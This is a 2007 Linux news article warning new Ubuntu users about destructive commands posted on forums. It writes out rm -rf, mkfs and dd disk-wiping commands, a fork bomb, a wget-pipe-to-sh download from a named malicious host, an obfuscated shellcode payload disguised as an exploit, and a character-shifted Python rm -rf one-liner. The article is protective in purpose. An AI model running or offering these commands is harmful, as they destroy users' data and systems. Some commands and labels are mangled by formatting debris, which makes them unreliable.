

28 November 2007

By: Marius Nestor, Linux Editor



Ubuntu - Linux for human beings  
www.siriwan.livenet.pl

## [Malicious Commands You Should NOT Run in Ubuntu!](#)

*Attention all Ubuntu users, please read carefully!*

I knew this was going to happen someday, as Ubuntu is more and more popular each day. It seems that there is a growing trend to offer malicious commands to new and inexperienced Ubuntu users on Ubuntu forums and not only there. Therefore I thought it would be a very smart idea to take a moment to review all these malicious commands, that you **should NOT execute** in a terminal. **The following commands can cause massive damage to your Ubuntu operating system! Please DO NOT execute any of them, just read and learn!**

`[CODE=0]sudo rm -rf /` (This will delete all your files on your system) - Needs administrator rights!  
`sudo rm -rf .` (This will delete the current directory your in) - Needs administrator rights!  
`sudo rm -rf *` (This will delete all the files in the current folder) - Needs administrator rights!  
`rm -rf *` or `rm -rf *.*` (This will delete all the files in the current folder) - No administrator rights needed!  
`rm -rf ~/ &` (This will destroy your home directory) - No administrator rights needed!  
**[CODE=1]All the below commands will erase your hard drive!**  
`[CODE=0]sudo mkfs` (This will format your hard drive) - Needs administrator rights!  
`sudo mkfs.ext3` (This will format your hard drive) - Needs administrator rights!  
`sudo mkfs.bfs` (This will format your hard drive) - Needs administrator rights!  
`sudo mkfs.cramfs` (This will format your hard drive) - No administrator rights needed!  
`sudo mkfs.ext2` (This will format your hard drive) - Needs administrator rights!  
`sudo mkfs.minix` (This will format your hard drive) - Needs administrator rights!  
`sudo mkfs.msdos` (This will format your hard drive) - Needs administrator rights!  
`sudo mkfs.reiserfs` (This will format your hard drive) - Needs administrator rights!  
`sudo mkfs.vfat` (This will format your hard drive) - Needs administrator rights!

**[CODE=1]The dd command can be very dangerous, especially when you have no idea what it does! Below are some examples, but remember that these can vary often!**  
`[CODE=0]sudo dd if=/dev/zero of=/dev/hda` (VERY DANGEROUS COMMAND! It will zero out the whole primary IDE hard drive) (Needs administrator rights)  
`sudo dd if=/dev/hda of=/dev/hdb` (Needs administrator rights)  
`sudo dd if=something of=/dev/hda` (Needs administrator rights)

**[CODE=1]WARNING:** /dev/hda and /dev/hdb from the above example can be replaced with /dev/sda or /dev/sdb or any partition or hard drive you may have on your system!

**Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data!**  
`[CODE=0]any_command > /dev/sdadd if=something of=/dev/sda`

**[CODE=1]Forkbomb:** It is a malicious script that will execute a huge number of processes until your system freezes, forcing you to do a hard reboot which may cause data corruption or data damage. The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! **DON'T EXECUTE THEM!**  
`[CODE=0]:(){:}&::`

**[CODE=1][CODE=0]fork while fork**

**[CODE=1]Tarbomb:** Let's say that someone who wants to help you, offers you a tar.gz or tar.bz2 archive and he asks you to extract it into an existing directory. This archive can be crafted to explode into a million of files, or inject other existing files into the system by guessing their filenames. **You should make the habit of decompressing tar.gz or tar.bz2 archives inside a newly created directory!**

**Decompression bomb:** Here's another example. Let's say someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of Gigabytes, filling your hard drive until it freezes! **You should not touch data from an untrusted source!**

**Shellscript:** This one is also very dangrous! Someone gives you a link to download, to a shellscript and then he asks you to execute it. This script can contain any command he chooses (from the above examples). **Do not execute code from people you don't trust!** Here are some examples:  
`[CODE=0]wget http://some_place/some_filesh`

./some\_fileExample: wget http://hax018r.org/malicious-scriptsh ./malicious-script[CODE=1] or[CODE=0]wget http://some\_place/some\_file -O- | shExample: wget http://hax018r.org/malicious-script -O- | sh[CODE=1]**WARNING: Remember that the above examples can have any name!****Compiling code:** A person gives you the source code to an application and tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Therefore, **Do not compile or execute the compiled code unless the source is of some well-known application, obtained from a reputable site** (i.e. Softpedia, SourceForge, Freshmeat, the author's homepage, an Ubuntu address). A famous example of this surfaced on a mailing list disguised as a [proof of concept sudo exploit](#) claiming that if you run it, sudo grants you root without a shell. There was this payload:

```
[CODE=0]char esp[] __attribute__((section(".text"))) /* e.s.prelease */ =
"xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxff68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbd\xff\xff\xff2fx62x69"          "x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;";[CODE=1]
```

To the new and inexperienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs **rm -rf ~ / &** which will destroy your home directory as a regular user, or all files as root. Here's another example of code that should definitely NOT be executed by anyone!

```
[CODE=0]python -c 'import os;
os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"])]'
[CODE=1]
```

Where "sn!.sg!+" is simply **rm -rf \*** shifted a character up. In conclusion, all new and inexperienced users who want to learn Ubuntu should start learning the above commands first and what they can do to your system. *Credits:* Some of the above examples of malicious code were taken from the [Ubuntu Forums announcement](#).